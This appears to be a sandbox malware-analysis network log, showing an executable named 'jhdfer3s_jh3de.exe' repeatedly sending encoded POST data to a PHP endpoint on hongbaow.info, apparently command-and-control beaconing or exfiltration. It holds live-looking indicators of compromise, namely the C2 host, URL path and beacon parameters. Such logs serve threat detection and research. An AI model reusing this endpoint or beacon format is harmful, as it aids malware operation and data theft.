2025-01-22 07:35:03 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yP5bLH2DpIMIipZccuE635g1%2BlHwIvtaKUekaMQPWmy%2BkMPO1i5%2FX3G6j1ZSWiA%2FCRcyh3f%2BkGDueytu8RO74lADyiWb4ccLNT1I%2Fvf8du4PiCDmcTkIhqJgNbxzxuXt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddd768e528ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1770&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1591280&cwnd=237&unsent_bytes=0&cid=ef83744877ab53c7&ts=329&x=0"
2025-01-22 07:35:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49736	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:07 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:07 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:07 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L4GDQ2qlHZ7OXWDo0korFy4BOj5ZIlHBLl0HLx7bQ%2Fc1wenFuecYekadDqmb8CYCKdL7a%2FcNGzCQQNfvQv5iAEZB0o81DWqneHYBcJFrDTOVRIX7OuAdW4gzNMVxQs6a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddd8e3ed1c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1474&rtt_var=570&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1891191&cwnd=155&unsent_bytes=0&cid=eb7333b625f51e14&ts=329&x=0"
2025-01-22 07:35:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:08 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:08 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:08 UTC	808	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zhHh0TJWue2rs19pYYnDtKsMbValaP4c69BC2x56eS0pdYz63tWrJB3zTaba1uI%2FFk3DDONEwSQANh6iY50KXLlHD2u4c7IczZinrS52P7nQm8U2kNkr1PaMX%2Fl%2FfQIH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddd95e946c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1450&rtt_var=557&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1941489&cwnd=155&unsent_bytes=0&cid=ca3266c0c5be679c&ts=336&x=0"
2025-01-22 07:35:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49738	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:10 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:10 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:11 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zSdUhzjQZsM%2B2YCcLqLvLOfD%2B8ponGMm5hQ1fP4eBa6qaxz9y9NCoJ%2BTyhuuENtEy0Ii5R3pcUqzatCNFUnDYYBIrZ76Fjgya9%2FUGaH20ffdMEOxvqBdgutlnnCsUOCg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddda60b24de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1448&min_rtt=1443&rtt_var=551&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1968981&cwnd=246&unsent_bytes=0&cid=5890a138acc87c6a&ts=324&x=0"
2025-01-22 07:35:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49739	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:14 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:14 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:14 UTC	806	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aGNvv5jEsCA5qOXyvZpcTrAPk6L3whCMB8WlEOcKvymWULFzLeoO2mNV9UZB5bD5WmXMfxgVXG1NDIA0FDlXkRxhqBNLSpsNhiJp0R%2B2QEnXOqVMQlz7etylnfsYD%2FCn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dddba59fd7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1779&rtt_var=678&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1170&delivery_rate=1602634&cwnd=218&unsent_bytes=0&cid=260e5118d15d2d68&ts=351&x=0"
2025-01-22 07:35:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49740	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:14 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:14 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:15 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CkU37ZJIATQxp3CK8vW9wThc%2F%2FMWZgz3wSLsVLGLbTPPKSuZ0RIW7OaIOQdexWKEHVRFmDu13zinr%2B%2BN0cXPS9uvxX%2FlqvLqKzSTIzoNS2tkRt4gUhihOGkM2PVRm9T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dddbdfa098ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&min_rtt=1782&rtt_var=676&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1610590&cwnd=237&unsent_bytes=0&cid=501801c1c49a5492&ts=351&x=0"
2025-01-22 07:35:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49745	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:18 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:18 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:18 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MFmChnfkXwacX83%2Fy37iIN46dOemxpsmCxMqTm2DHcPmejrR6QBDtbkxN2o3U0E6aM8Y78PDaQ6EV3rhKdjxctr%2BL%2BpVhQuvaYEUGXN0r2xD0%2BsQXkJU1SA6ZR7YOdGu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dddd5eb9042eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1555&rtt_var=607&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1768625&cwnd=215&unsent_bytes=0&cid=c4badf7508338783&ts=341&x=0"
2025-01-22 07:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:20 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:20 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:20 UTC	812	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8P3%2BRcUJoNxK%2B5D9xe%2FHKEc%2Fdtc67GPddWZsEYpubziWpvHVYqa5wyOv06Rcu5BHdzJnnEeoZs%2Bj2yKIHa2mQFNuACZkr9p21PhfuHihLpLJ0dSmXPaaIw2x254An2qz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddddee9a14414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1589&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1837633&cwnd=180&unsent_bytes=0&cid=31bdbe08316c9577&ts=352&x=0"
2025-01-22 07:35:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:22 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:22 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:22 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WiPRCiTEiLAaIOXySchzekWQADNsqZkidyU6c4CtJCSa6zliOsTTxTkVqN%2FWI%2Bq0Z%2BvjMIHw8lbDtPL0eqOQIJH93jmSlkNPZnW6Nap5Xc3tl65vo5B4YLwotLYJra3v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dddef182b4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1595&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1798029&cwnd=180&unsent_bytes=0&cid=0a7d9f90790fbecc&ts=344&x=0"
2025-01-22 07:35:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49750	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:25 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:25 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:26 UTC	804	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=egem1iMHWpku8IaLBaoMV28Aq3uq7%2FLWnVwpJI8Xkd6SEqgXCGOqkFYw8q7YoK3BkNciwgS3MzAlSBjnqbdooyDyhRmGwcN522UU3MRANw7kMjdWBjyjnPEcDejJt1bo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde036dbb42eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1569&rtt_var=593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1170&delivery_rate=1838790&cwnd=215&unsent_bytes=0&cid=9d989e98436894df&ts=353&x=0"
2025-01-22 07:35:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:26 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:26 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:26 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mAp2v%2BqjOI49ESt9u4exFNBARoJe5DDG6qMbX3UlEfSOsZDFjr%2FR6T1mh0y%2FPKtq80U8Livu31DuPyRWq%2BJvZAB1dph9FDgeoQnZFP7pdeDYK6Fr9LUTdFMPlAl8GLGz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde06cd68de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1471&min_rtt=1447&rtt_var=591&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1779402&cwnd=246&unsent_bytes=0&cid=68cb8150810524b0&ts=338&x=0"
2025-01-22 07:35:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:30 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
